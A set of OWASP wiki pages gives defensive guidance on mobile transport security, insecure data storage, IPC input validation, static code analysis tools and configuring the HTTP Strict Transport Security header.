<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}> The exploitabilty factor of monitoring a network for insecure communications ranges. Monitoring traffic over a carrier's network is harder than that of monitoring a local coffee shop's traffic. In general, targeted attacks are easier to perform. </td><br />
<td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Mobile applications frequently do not protect network traffic. They may use SSL/TLS during authentication but not elsewhere. This inconsistency leads to the risk of exposing data and session IDs to interception.<br />
<br />
The use of transport security does not mean the app has implemented it correctly.<br />
<br />
To detect basic flaws, observe the phone's network traffic. More subtle flaws require inspecting the design of the application and the applications configuration. </td><br />
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>This flaw exposes an individual user's data and can lead to account theft. If the adversary intercepts an admin account, the entire site could be exposed. Poor SSL setup can also facilitate phishing and MITM attacks.</td><br />
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>At a minimum, interception of sensitive data through a communication channel will result in a privacy violation.<br />
<br />
The violation of a user's confidentiality may result in:<br />
<br />
* Identity theft;<br />
* Fraud, or<br />
* Reputational Damage.</td><br />
{{Top_10_2010:SummaryTableEndTemplate}}<br />
<br />
{{Mobile_Top_10_2012:SubsectionAdvancedTemplate|type={{Mobile_Top_10_2012:StyleTemplate}}|number=1|risk=3}}<br />
To find out if an application has sufficient transport layer protection, look at the application traffic through a proxy. Answer the following questions:<br />
<br />
# Are all connections, not just ones to servers you own, properly encrypted? <br />
# Are the SSL certificates in date?<br />
# Are the SSL certificates self signed?<br />
# Does the SSL use high enough cipher strengths?<br />
# Will your application accept user accepted certificates as authorities?<br />
{{Mobile_Top_10_2012:SubsectionAdvancedTemplate|type={{Mobile_Top_10_2012:StyleTemplate}}|number=2|risk=3}}<br />
'''General Best Practices:'''<br />
<br />
* Assume that the network layer is not secure and is susceptible to eavesdropping. <br />
* Apply SSL/TLS to transport channels that the mobile app will use to transmit sensitive information, session tokens, or other sensitive data to a backend API or web service.<br />
* Account for outside entities like third-party analytics companies, social networks, etc. by using their SSL versions when an application runs a routine via the browser/webkit. Avoid mixed SSL sessions as they may expose the user’s session ID.<br />
* Use strong, industry standard cipher suites with appropriate key lengths.<br />
* Use certificates signed by a trusted CA provider. <br />
* Never allow self-signed certificates, and consider certificate pinning for security conscious applications.<br />
* Always require SSL chain verification.<br />
* Only establish a secure connection after verifying the identity of the endpoint server using trusted certificates in the key chain.<br />
* Alert users through the UI if the mobile app detects an invalid certificate.<br />
* Do not send sensitive data over alternate channels (e.g, SMS, MMS, or notifications).<br />
* If possible, apply a separate layer of encryption to any sensitive data before it is given to the SSL channel. In the event that future vulnerabilities are discovered in the SSL implementation, the encrytped data will provide a secondary defense against confidentiality violation.<br />
<br />
Newer threats allow an adversary to eavesdrop on sensitive traffic by intercepting the traffic within the mobile device just before the mobile device's SSL library encrypts and transmits the network traffic to the destination server. See M10 for more information on the nature of this risk.<br />
<br />
'''iOS Specific Best Practices'''<br />
<br />
Default classes in the latest version of iOS handle SSL cipher strength negotiation very well. Trouble comes when developers temporarily add code to bypass these defaults to accommodate development hurdles. In addition to the above general practices:<br />
<br />
* Ensure that certificates are valid and fail closed.<br />
* When using CFNetwork, consider using the Secure Transport API to designate trusted client certificates. In almost all situations, NSStreamSocketSecurityLevelTLSv1 should be used for higher standard cipher strength.<br />
* After development, ensure all NSURL calls (or wrappers of NSURL) do not allow self signed or invalid certificates such as the NSURL class method setAllowsAnyHTTPSCertificate.<br />
* Consider using certificate pinning by doing the following: export your certificate, include it in your app bundle, and anchor it to your trust object. Using the NSURL method connection:willSendRequestForAuthenticationChallenge: will now accept your cert.<br />
<br />
<br />
'''Android Specific Best Practices'''<br />
<br />
* Remove all code after the development cycle that may allow the application to accept all certificates such as org.apache.http.conn.ssl.AllowAllHostnameVerifier or SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER. These are equivalent to trusting all certificates.<br />
* If using a class which extends SSLSocketFactory, make sure checkServerTrusted method is properly implemented so that server certificate is correctly checked.<br />
<br />
{{Mobile_Top_10_2012:SubsectionAdvancedTemplate|type={{Mobile_Top_10_2012:StyleTemplate}}|number=3|risk=3}}<br />
There are a few common scenarios that penetration testers frequently discover when inspecting a mobile app's transport layer security:<br />
<br />
; Lack of Certificate Inspection<br />
: The mobile app and an endpoint successfully connect and perform a SSL/TLS handshake to establish a secure channel. However, the mobile app fails to inspect the certificate offered by the server and the mobile app unconditionally accepts any certificate offered to it by the server. This destroys any mutual authentication capability between the mobile app and the endpoint. The mobile app is susceptible to man-in-the-middle attacks through a SSL proxy<br />
; Weak Handshake Negotiation<br />
: The mobile app and an endpoint successfully connect and negotiate a cipher suite as part of the connection handshake. The client successfully negotiates with the server to use a weak cipher suite that results in weak encryption that can be easily decrypted by the adversary. This jeopardizes the confidentiality of the channel between the mobile app and the endpoint;<br />
; Privacy Information Leakage<br />
: The mobile app transmits personally identifiable information to an endpoint via non-secure channels instead of over SSL. This jeopardizes the confidentiality of any privacy-related data between the mobile app and the endpoint.<br />
<br />
{{Mobile_Top_10_2012:SubsectionAdvancedTemplate|type={{Mobile_Top_10_2012:StyleTemplate}}|number=4|risk=3}}<br />
* [http://h30499.www3.hp.com/t5/Fortify-Application-Security/Exploring-The-OWASP-Mobile-Top-10-M3-Insufficient-Transport/ba-p/5966473 Fortify On Demand Blog - Exploring The OWASP Mobile Top 10: Insufficient Transport Layer Protection]<br />
* [https://www.owasp.org/index.php/IOS_Developer_Cheat_Sheet OWASP ][https://www.owasp.org/index.php/IOS_Developer_Cheat_Sheet IOS Developer Cheat Sheet]<br />
* [http://blog.securemacprogramming.com/2011/12/on-ssl-pinning-for-cocoa-touch/ blog.securemacprogramming.com - SSL Pinning for Cocoa Touch]<br />
* [http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security]<br />
* [http://www.hpenterprisesecurity.com/vulncat/en/vulncat/index.html Fortify VulnCat - A Taxonimy of Software Security Errors]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Mobile_Top_10_2014-M2&diff=193896Mobile Top 10 2014-M22015-04-23T10:56:51Z<p>Ryan Dewhurst: Update "Google Androids Developer Security Topics 2" hyperlink</p>
<hr />
<div><center>[https://www.owasp.org/index.php/Projects/OWASP_Mobile_Security_Project_-_Top_Ten_Mobile_Risks Back To The Mobile Top Ten Main Page]</center><br />
{{Top_10_2010:SubsectionColoredTemplate|<center>Insecure Data Storage</center>||year=2014}}<br />
{{Top_10_2010:SummaryTableHeaderBeginTemplate}}<br />
{{Top_10_2010:SummaryTableValue-1-Template|Exploitability|EASY}}<br />
{{Top_10_2010:SummaryTableValue-2-Template|Prevalence|COMMON}}<br />
{{Top_10_2010:SummaryTableValue-2-Template|Detectability|EASY}}<br />
{{Top_10_2010:SummaryTableValue-1-Template|Impact|SEVERE}}<br />
{{Top_10_2010:SummaryTableHeaderEndTemplate}}<br />
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Threats agents include the following: an adversary that has attained a lost/stolen mobile device; malware or a other repackaged app acting on the adversary's behalf that executes on the mobile device.</td><br />
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>In the event that an adversary physically attains the mobile device, the adversaryhooks up the mobile device to a computer with freely available software. These tools allow the adversary to see all third party application directories that often contain stored personally identifiable information (PII) or other sensitive information assets. An adversary may construct malware or modify a legitimate app to steal such information assets.</td><br />
<td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Insecure data storage, vulnerabilities occurs when development teams assume that users or malware will not have access to a mobile device's filesystem and subsequent sensitive information in data-stores on the device. Filesystems are easily accessible. Organizations should expect a malicious user or malware to inspect sensitive data stores.<br />
<br />
Rooting or jailbreaking a mobile device circumvents any encryption protections. When data is not protected properly, specialized tools are all that is needed to view application data.</td><br />
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Insecure data storage can result in data loss, in the best case, for one user. In the worst case, for many users. Common valuable pieces of data seen stored include: <br />
* Usernames<br />
* Authentication tokens<br />
* Passwords<br />
* Cookies<br />
* Location data<br />
* UDID/EMEI, Device Name, Network Connection Name<br />
* Personal Information: DoB, Address, Social, Credit Card Data<br />
* Application Data: <br />
** Stored application logs<br />
** Debug information<br />
** Cached application messages<br />
** Transaction histories</td><br />
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Insecure data storage vulnerabilities typically lead to the following business risks for the organization that owns the risk app:<br />
* Identity Theft<br />
* Fraud<br />
* Reputation Damage<br />
* External Policy Violation (PCI)<br />
* or Material Loss.</td><br />
{{Top_10_2010:SummaryTableEndTemplate}}<br />
<br />
{{Mobile_Top_10_2012:SubsectionAdvancedTemplate|type={{Mobile_Top_10_2012:StyleTemplate}}|number=1|risk=1}}<br />
It is important to threat-model your mobile app to understand the information assets it processes and how the underlying APIs handle those assets. These APIs should store sensitive information securely. Places OWASP most often sees data being stored insecurely include the following:<br />
<br />
* SQLite databases<br />
* Log Files<br />
* Plist Files<br />
* XML Data Stores or Manifest Files<br />
* Binary data stores<br />
* Cookie stores<br />
* SD Card<br />
* Cloud synced<br />
<br />
When applying encryption and decryption to sensitive information assets, malware may perform a binary attack on the app in order to steal encryption or decryption keys. Once it steals the keys, it will decrypt the local data and steal sensitive information. See OWASP Mobile Top Ten 2014 Category M10 for more information on this topic.<br />
<br />
{{Mobile_Top_10_2012:SubsectionAdvancedTemplate|type={{Mobile_Top_10_2012:StyleTemplate}}|number=2|risk=1}}<br />
The cardinal rule of mobile apps is to not store data unless absolutely necessary. As a developer you have to assume that the data is forfeited as soon as it touches the phone. You also have to consider the implications of losing mobile users' data to a silent jailbreak or root exploit. If the usability versus security trade-off is too much for you, OWASP recommends scrutinizing your platforms data security APIs and making sure you’re calling them appropriately. The lesson here is to know what data is being stored and protect it appropriately.<br />
<br />
<br />
'''iOS Specific Best Practices:'''<br />
* Never store credentials on the phone file system. Force the user to authenticate using a standard web or API login scheme (over HTTPS) to the application upon each opening and ensure session timeouts are set at the bare minimum to meet the user experience requirements.<br />
* Where storage or caching of information is necessary consider using a standard iOS encryption library such as CommonCrypto. However, for particularly sensitive apps, consider using whitebox cryptography solutions that avoid the leakage of binary signatures found within common encryption libraries.<br />
* If the data is small, using the provided apple keychain API is recommended but, once a phone is jailbroken or exploited the keychain can be easily read. This is in addition to the threat of a bruteforce on the devices PIN, which as stated above is trivial in some cases.<br />
* For databases consider using SQLcipher for Sqlite data encryption<br />
* For items stored in the keychain leverage the most secure API designation, kSecAttrAccessibleWhenUnlocked (now the default in iOS 5) and for enterprise managed mobile devices ensure a strong PIN is forced, alphanumeric, larger than 4 characters.<br />
* For larger or more general types of consumer-grade data, Apple’s File Protection mechanism can safely be used (see NSData Class Reference for protection options).<br />
* Avoid using NSUserDefaults to store sensitive pieces of information as it stores data in plist files.<br />
* Be aware that all data/entities using NSManagedObects will be stored in an unencrypted database file.<br />
* Avoid exclusively relying upon hardcoded encryption or decryption keys when storing sensitive information assets.<br />
* Consider providing an additional layer of encryption beyond any default encryption mechanisms provided by the operating system.<br />
<br />
<br />
'''Android Specific Best Practices:'''<br />
* For local storage the enterprise android device administration API can be used to force encryption to local file-stores using “setStorageEncryption”<br />
* For SD Card Storage some security can be achieved via the ‘javax.crypto’ library. You have a few options, but an easy one is simply to encrypt any plain text data with a master password and AES 128.<br />
* Ensure any shared preferences properties are '''NOT''' MODE_WORLD_READABLE unless explicitly required for information sharing between apps.<br />
* Avoid exclusively relying upon hardcoded encryption or decryption keys when storing sensitive information assets.<br />
* Consider providing an additional layer of encryption beyond any default encryption mechanisms provided by the operating system.<br />
<br />
<br />
{{Mobile_Top_10_2012:SubsectionAdvancedTemplate|type={{Mobile_Top_10_2012:StyleTemplate}}|number=3|risk=1}}<br />
<br />
'''A Visual Example:'''<br />
<br />
iGoat is a purposefully vulnerable mobile app for the security community to explore these types of vulnerabilities first hand. In the exercise below, we enter our credentials and log in to the fake bank app. Then, we navigate to the file system. Within the applications directory, we can see a database called “credentials.sqlite”. Exploring this database reveals that the application is storing our username and credentials (Jason:pleasedontstoremebro!) in plain text.<br />
<br />
[[Image:Screen%20Shot%202012-12-19%20at%206.34.23%20AM.png]] <br />
[[Image:Screen%20Shot%202012-12-19%20at%206.44.51%20AM.png]] <br />
[[Image:Screen%20Shot%202012-12-19%20at%2010.11.15%20AM.png]]<br />
{{Mobile_Top_10_2012:SubsectionAdvancedTemplate|type={{Mobile_Top_10_2012:StyleTemplate}}|number=4|risk=1}}<br />
* [https://www.owasp.org/index.php/IOS_Developer_Cheat_Sheet OWASP ][https://www.owasp.org/index.php/IOS_Developer_Cheat_Sheet IOS Developer Cheat Sheet]<br />
* [http://source.android.com/tech/security/ Google Androids Developer Security Topics 1]<br />
* [http://developer.android.com/training/articles/security-tips.html Google Androids Developer Security Topics 2]<br />
* [https://developer.apple.com/library/mac/ Apple's Introduction to Secure Coding]<br />
* [http://h30499.www3.hp.com/t5/Application-Security-Fortify-on/Exploring-The-OWASP-Mobile-Top-10-M1-Insecure-Data-Storage/ba-p/5904609 Fortify On Demand Blog - Exploring The OWASP Mobile Top 10: Insecure Data Storage]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Static_Code_Analysis&diff=187797Static Code Analysis2015-01-10T16:21:50Z<p>Ryan Dewhurst: Add Brakeman Rails tool</p>
<hr />
<div>{{Template:Stub}}<br />
<br />
Every '''[[Control]]''' should follow this template.<br />
<br />
{{Template:Control}}<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
<br />
Static Code Analysis (also known as Source Code Analysis) is usually performed as part of a Code Review (also known as white-box testing) and is carried out at the Implementation phase of a Security Development Lifecycle (SDL). Static Code Analysis commonly refers to the running of Static Code Analysis tools that attempt to highlight possible vulnerabilities within 'static' (non-running) source code by using techniques such as Taint Analysis and Data Flow Analysis.<br />
<br />
Ideally, such tools would automatically find security flaws with a high degree of confidence that what is found is indeed a flaw. However, this is beyond the state of the art for many types of application security flaws. Thus, such tools frequently serve as aids for an analyst to help them zero in on security relevant portions of code so they can find flaws more efficiently, rather than a tool that simply finds flaws automatically.<br />
<br />
Some tools are starting to move into the Integrated Development Environment (IDE). For the types of problems that can be detected during the software development phase itself, this is a powerful phase within the development lifecycle to employ such tools, as it provides immediate feedback to the developer on issues they might be introducing into the code during code development itself. This immediate feedback is very useful as compared to finding vulnerabilities much later in the development cycle.<br />
<br />
The UK Defense Standard 00-55 requires that Static Code Analysis be used on all 'safety related software in defense equipment'. [0]<br />
<br />
==Techniques==<br />
There are various techniques to analyze static source code for potential vulnerabilities that maybe combined into one solution. These techniques are often derived from compiler technologies.<br />
<br />
===Data Flow Analysis===<br />
Data flow analysis is used to collect run-time (dynamic) information about data in software while it is in a static state (Wögerer, 2005).<br />
<br />
There are three common terms used in data flow analysis, basic block (the code), Control Flow Analysis (the flow of data) and Control Flow Path (the path the data takes):<br />
<br />
Basic block: A sequence of consecutive instructions where control enters at the beginning of a block, control leaves at the end of a block and the block cannot halt or branch out except at its end (Wögerer, 2005).<br />
<br />
Example PHP basic block:<br />
<br />
<pre><br />
1. $a = 0;<br />
2. $b = 1;<br />
3. <br />
4. if ($a == $b) <br />
5. { # start of block<br />
6. echo “a and b are the same”;<br />
7. } # end of block <br />
8. else <br />
9. { # start of block <br />
10. echo “a and b are different”;<br />
11.} # end of block<br />
</pre><br />
<br />
=== Control Flow Graph (CFG) ===<br />
An abstract graph representation of software by use of nodes that represent basic blocks. A node in a graph represents a block; directed edges are used to represent jumps (paths) from one block to another. If a node only has an exit edge, this is known as an ‘entry’ block, if a node only has a entry edge, this is know as an ‘exit’ block (Wögerer, 2005).<br />
<br />
Example Control Flow Graph; ‘node 1’ represents the entry block and ‘node 6’ represents the exit block.<br />
<br />
[[File:Control_flow_graph.png|400x200px]]<br />
<br />
===Taint Analysis===<br />
Taint Analysis attempts to identify variables that have been 'tainted' with user controllable input and traces them to possible vulnerable functions also known as a 'sink'. If the tainted variable gets passed to a sink without first being sanitized it is flagged as a vulnerability.<br />
<br />
Some programming languages such as Perl and Ruby have Taint Checking built into them and enabled in certain situations such as accepting data via CGI.<br />
<br />
===Lexical Analysis===<br />
Lexical Analysis converts source code syntax into ‘tokens’ of information in an attempt to abstract the source code and make it easier to manipulate (Sotirov, 2005).<br />
<br />
Pre tokenised PHP source code:<br />
<br />
<pre><br />
&lt;?php $name = "Ryan"; ?&gt;<br />
</pre><br />
<br />
Post tokenised PHP source code:<br />
<br />
<pre><br />
T_OPEN_TAG<br />
T_VARIABLE<br />
=<br />
T_CONSTANT_ENCAPSED_STRING<br />
;<br />
T_CLOSE_TAG<br />
</pre><br />
<br />
==Strengths and Weaknesses==<br />
<br />
=== Strengths ===<br />
* Scales Well (Can be run on lots of software, and can be repeatedly (like in nightly builds))<br />
* For things that such tools can automatically find with high confidence, such as buffer overflows, SQL Injection Flaws, etc. they are great.<br />
<br />
=== Weaknesses ===<br />
* Many types of security vulnerabilities are very difficult to find automatically, such as authentication problems, access control issues, insecure use of cryptography, etc. The current state of the art only allows such tools to automatically find a relatively small percentage of application security flaws. Tools of this type are getting better, however.<br />
* High numbers of false positives.<br />
* Frequently can't find configuration issues, since they are not represented in the code.<br />
* Difficult to 'prove' that an identified security issue is an actual vulnerability.<br />
* Many of these tools have difficulty analyzing code that can't be compiled. Analysts frequently can't compile code because they don't have the right libraries, all the compilation instructions, all the code, etc.<br />
<br />
==Limitations==<br />
<br />
===False Positives===<br />
A static code analysis tool will often produce false positive results where the tool reports a possible vulnerability that in fact is not. This often occurs because the tool cannot be sure of the integrity and security of data as it flows through the application from input to output.<br />
<br />
False positive results might be reported when analysing an application that interacts with closed source components or external systems because without the source code it is impossible to trace the flow of data in the external system and hence ensure the integrity and security of the data.<br />
<br />
===False Negatives===<br />
The use of static code analysis tools can also result in false negative results where vulnerabilities result but the tool does not report them. This might occur if a new vulnerability is discovered in an external component or if the analysis tool has no knowledge of the runtime environment and whether it is configured securely.<br />
<br />
==Important Selection Criteria==<br />
<br />
* Requirement: Must support your language, but not usually a key factor once it does.<br />
* Types of Vulnerabilities it can detect (The OWASP Top Ten?) (more?)<br />
* Does it require a fully buildable set of source?<br />
* Can it run against binaries instead of source?<br />
* Can it be integrated into the developer's IDE?<br />
* License cost for the tool. (Some are sold per user, per org, per app, per line of code analyzed. Consulting licenses are frequently different than end user licenses.)<br />
* Does it support Object-oriented programming (OOP)?<br />
<br />
==Examples==<br />
<br />
===RIPS PHP Static Code Analysis Tool===<br />
[[File:Rips.jpg|400px|thum|]]<br />
<br />
===OWASP LAPSE+ Static Code Analysis Tool===<br />
[[File:LapsePlusScreenshot.png|400px|thum|]]<br />
<br />
== Tools ==<br />
<br />
===OWASP Tools===<br />
* [https://www.owasp.org/index.php/Category:OWASP_Code_Crawler OWASP Code Crawler] (.NET & Java)<br />
* [https://www.owasp.org/index.php/Category:OWASP_Orizon_Project OWASP Orizon Project] (Java,PHP,C & JSP)<br />
* [[OWASP_LAPSE_Project | OWASP LAPSE Project]] (Java)<br />
* [[OWASP O2 Platform]]<br />
<br />
=== Open Source/Free ===<br />
<br />
* [http://www.stachliu.com/resources/tools/google-hacking-diggity-project/attack-tools/ Google CodeSearchDiggity] (Multiple)<br />
* [http://pmd.sourceforge.net/ PMD] (Java)<br />
* [http://www.dwheeler.com/flawfinder/ FlawFinder] (C/C++)<br />
* [http://msdn.microsoft.com/en-us/library/bb429476(v=vs.80).aspx Microsoft FxCop] (.NET)<br />
* [http://www.splint.org Splint] (C)<br />
* [http://findbugs.sourceforge.net/ FindBugs] (Java)<br />
* [http://sourceforge.net/projects/rips-scanner/ RIPS] (PHP)<br />
* [http://sourceforge.net/projects/agnitiotool/ Agnitio] (Objective-C, C#, Java & Android)<br />
* [http://msdn.microsoft.com/en-us/library/ms933794.aspx Microsoft PreFast] (C/C++)<br />
* [https://www.fortify.com/ssa-elements/threat-intelligence/rats.html Fortify RATS] (C, C++, Perl, PHP & Python)<br />
* [http://www.devbug.co.uk DevBug] (PHP)<br />
* [http://brakemanscanner.org/ Brakeman] (Rails)<br />
<br />
=== Commercial ===<br />
<br />
* [https://www.fortify.com/ Fortify] (OWASP Member)<br />
* [https://www.veracode.com/ Veracode] (OWASP Member)<br />
* [http://www.grammatech.com/ GrammaTech]<br />
* [http://www.parasoft.com/jsp/home.jsp ParaSoft]<br />
* [http://www.armorize.com/codesecure/ Armorize CodeSecure] (OWASP Member)<br />
* [http://www.checkmarx.com/ Checkmarx Static Code Analysis] (OWASP Member)<br />
* [http://www-01.ibm.com/software/rational/products/appscan/source/ Rational AppScan Source Edition]<br />
* [http://www.coverity.com/products/static-analysis.html Coverity]<br />
* [http://www.klocwork.com/products/insight.asp Insight]<br />
<br />
===Other Tool Lists===<br />
<br />
* [http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html NIST - Source Code Security Analyzers]<br />
* [http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis Wikipedia - List of tools for static code analysis]<br />
<br />
==References==<br />
<br />
[0] Ministry of Defence (MoD). (1997) ''SAFETY RELATED SOFTWARE IN DEFENSE EQUIPMENT'' [Online]. Available at: http://www.software-supportability.org/Docs/00-55_Part_2.pdf (Accessed: 5 January 2012).<br />
<br />
[1] Northumbria University. (2012) ''Implementing Basic Static Code Analysis into Integrated Development Environments (IDEs) to Reduce Software Vulnerabilities'' [Online]. Available at: http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/09/Implementing-Basic-Static-Code-Analysis-into-Integrated-Development-Environments-IDEs-to-Reduce-Software-Vulnerabilities.pdf (Accessed: 19 March 2013)<br />
<br />
== Further Reading ==<br />
<br />
* [https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf OWASP Code Review Guide v1.1]<br />
* http://www.crosstalkonline.org/storage/issue-archives/2003/200311/200311-German.pdf<br />
* http://www.ida.liu.se/~TDDC90/papers/industrial95.pdf<br />
* http://www.php-security.org/downloads/rips.pdf<br />
* http://www.seclab.tuwien.ac.at/papers/pixy.pdf<br />
<br />
[[Category:FIXME|<br />
<br />
<br />
In addition, one should classify control based on the following subcategories: Ex:<nowiki>[[Category:Error Handling Control]]</nowiki><br />
<br />
Availability Control<br />
<br />
Authorization Control<br />
<br />
Authentication Control<br />
<br />
Concurrency Control<br />
<br />
Configuration Control<br />
<br />
Cryptographic Control<br />
<br />
Encoding Control<br />
<br />
Error Handling Control<br />
<br />
Input Validation Control<br />
<br />
Logging and Auditing Control<br />
<br />
Session Management Control<br />
]]<br />
__FORCETOC__<br />
<br />
[[Category:Control]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Mobile_Top_10_2014-M8&diff=166798Mobile Top 10 2014-M82014-01-28T13:08:17Z<p>Ryan Dewhurst: s/You/Your/</p>
<hr />
<div><center>[https://www.owasp.org/index.php/Projects/OWASP_Mobile_Security_Project_-_Top_Ten_Mobile_Risks Back To The Mobile Top Ten Main Page]</center><br />
{{Top_10_2010:SubsectionColoredTemplate|<center>Security Decisions Via Untrusted Inputs</center>||year=2014}}<br />
{{Top_10_2010:SummaryTableHeaderBeginTemplate}}<br />
{{Top_10_2010:SummaryTableValue-1-Template|Exploitability|EASY}}<br />
{{Top_10_2010:SummaryTableValue-2-Template|Prevalence|COMMON}}<br />
{{Top_10_2010:SummaryTableValue-2-Template|Detectability|EASY}}<br />
{{Top_10_2010:SummaryTableValue-1-Template|Impact|SEVERE}}<br />
{{Top_10_2010:SummaryTableHeaderEndTemplate}}<br />
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Threat Description </td><br />
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}> Attack Vector Description </td><br />
<td colspan=2 {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Security Weakness Description </td><br />
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Technical Impacts</td><br />
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Business Impacts </td><br />
{{Top_10_2010:SummaryTableEndTemplate}}<br />
<br />
{{Mobile_Top_10_2012:SubsectionAdvancedTemplate|type={{Mobile_Top_10_2012:StyleTemplate}}|number=1|risk=7}}<br />
Your mobile application can accept data from all kinds of sources. In most cases this will be an Inter Process Communication (IPC) mechanism. In general try and adhere to the following IPC design patterns:<br />
<br />
* If there is a business requirement for IPC communication, the mobile application should restrict access to a white-list of trusted applications<br />
* Sensitive actions which are triggered through IPC entry points should require user interaction before performing the action<br />
* All input received from IPC entry points must undergo stringent input validation in order to prevent input driven attacks<br />
* Do not pass any sensitive information through IPC mechanisms, as it may be susceptible to being read by third party applications under certain scenarios<br />
<br />
{{Mobile_Top_10_2012:SubsectionAdvancedTemplate|type={{Mobile_Top_10_2012:StyleTemplate}}|number=2|risk=7}}<br />
iOS Specific Examples:<br />
* Do not use the deprecated handleOpenURL method to handle URL Scheme calls. This method does not contain an argument containing the BundleID of the source application.<br />
** Instead use the openURL:sourceApplication:annotation method and validation the sourceApplication argument against a white-list of trusted applications<br />
*Do not use the iOS Pasteboard for IPC communications, as it is susceptible to being set or read by all third party apps on the device. <br />
<br />
Android Specific Examples<br />
* <br />
<br />
{{Mobile_Top_10_2012:SubsectionAdvancedTemplate|type={{Mobile_Top_10_2012:StyleTemplate}}|number=3|risk=7}}<br />
Example Scenarios<br />
{{Mobile_Top_10_2012:SubsectionAdvancedTemplate|type={{Mobile_Top_10_2012:StyleTemplate}}|number=4|risk=7}}<br />
References<br />
<br />
[https://www.owasp.org/images/c/ca/ASDC12-An_InDepth_Introduction_to_the_Android_Permissions_Modeland_How_to_Secure_MultiComponent_Applications.pdf An In Depth Introduction to the Android Permissions Modeland How to Secure MultiComponent Applications]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Talk:OWASP_Mobile_Security_Project&diff=166797Talk:OWASP Mobile Security Project2014-01-28T10:11:44Z<p>Ryan Dewhurst: question relating to tool criteria</p>
<hr />
<div>Can we add any Mobile security tools here or is there any criteria? Example, only commercial tools, only tools from OWASP supporters, etc.<br />
<br />
From my recent Android App test I think MWR's Dowzer deserves a mention here. - https://www.mwrinfosecurity.com/products/drozer/</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=HTTP_Strict_Transport_Security&diff=164285HTTP Strict Transport Security2013-12-04T11:22:36Z<p>Ryan Dewhurst: grammar</p>
<hr />
<div><br><br />
== Description ==<br />
<br />
HTTP Strict Transport Security (HSTS) is an opt-in security enhancement that is specified by a web application through the use of a special response header. Once a supported browser receives this header that browser will prevent any communications from being sent over HTTP to the specified domain and will instead send all communications over HTTPS. It also prevents HTTPS click through prompts on browsers.<br />
<br />
<br><br />
<br />
The specification has been released and published end of 2012 as RFC 6797 (HTTP Strict Transport Security (HSTS)) by the IETF. (Reference see in the links at the bottom.)<br />
<br />
== Examples ==<br />
<br />
Example of the HTTP strict transport security header <br />
<br />
Strict-Transport-Security: max-age=60000<br />
<br />
If all subdomains are HTTPS too then the following header is applicable:<br />
<br />
Strict-Transport-Security: max-age=60000; includeSubDomains<br />
<br />
== Browser Support ==<br />
<br />
{| width="400" cellspacing="1" cellpadding="1" border="1"<br />
|-<br />
| '''Browser'''<br><br />
| '''Support Introduced'''<br><br />
|-<br />
| Internet Explorer <br><br />
| no support as of IE 10 (tested on 2013-01-01)<br><br />
|-<br />
| Firefox<br><br />
| 4<br><br />
|-<br />
| Opera<br><br />
| 12<br><br />
|-<br />
| Safari<br><br />
| ??<br><br />
|-<br />
| Chrome<br><br />
| 4.0.211.0<br><br />
|}<br />
<br />
<br><br />
<br />
== Server Side ==<br />
<br />
The web server side needs to inject the HSTS header. <br />
<br />
For HTTP sites on the same domain it is [http://tools.ietf.org/html/draft-ietf-websec-strict-transport-sec#section-6.1 not recommended] to add a HSTS header but to do a permanent redirect (301 status code) to the HTTPS site.<br />
<br />
An Apache HTTPd example that will permanently redirect a URL to the identical URL with a HTTPS scheme, is as follows:<br />
<br />
<VirtualHost *:80><br />
ServerAlias *<br />
RewriteEngine On<br />
RewriteRule ^(.*)$ https://%{HTTP_HOST}$1 [redirect=301]<br />
</VirtualHost><br />
<br />
On the HTTPS site configuration the following is needed to add the header as [http://tools.ietf.org/html/draft-ietf-websec-strict-transport-sec#section-6.1 recommended by the standard]:<br />
Header set Strict-Transport-Security "max-age=16070400; includeSubDomains"<br />
<br />
The following links show how to set response headers in other web servers:<br />
* [http://wiki.nginx.org/HttpHeadersModule NGINX]<br />
* [http://redmine.lighttpd.net/wiki/lighttpd/Docs:ModSetEnv#Options Lighttpd]<br />
* [http://httpd.apache.org/docs/2.2/mod/mod_headers.html HTTPd]<br />
<br />
==== IIS ====<br />
Whilst [http://technet.microsoft.com/en-us/library/cc753133(WS.10).aspx custom headers] can be configured in IIS without any extensions, it is not possible to restrict these headers to secure transport channels [http://tools.ietf.org/html/rfc6797#section-7.2 as per the HSTS specification]. HSTS has been implemented as per the specification as an [http://hstsiis.codeplex.com/ open source IIS module].<br />
<br />
== Threats ==<br />
<br />
HSTS addresses the following threats:<br />
* User bookmarks or manually types http://example.com and is subject to a man-in-the-middle attacker<br />
** HSTS automatically upgrades HTTP requests to HTTPS for the target domain<br />
* Web application that is intended to be purely HTTPS inadvertently contains HTTP links or serves content over HTTP<br />
** HSTS automatically upgrades HTTP requests to HTTPS for the target domain<br />
* A man-in-the-middle attacker attempts to intercept traffic from a victim user using an invalid certificate and hopes the user will accept the bad certificate<br />
** HSTS does not allow a user to override the invalid certificate message<br />
<br />
<br />
== Links ==<br />
<br />
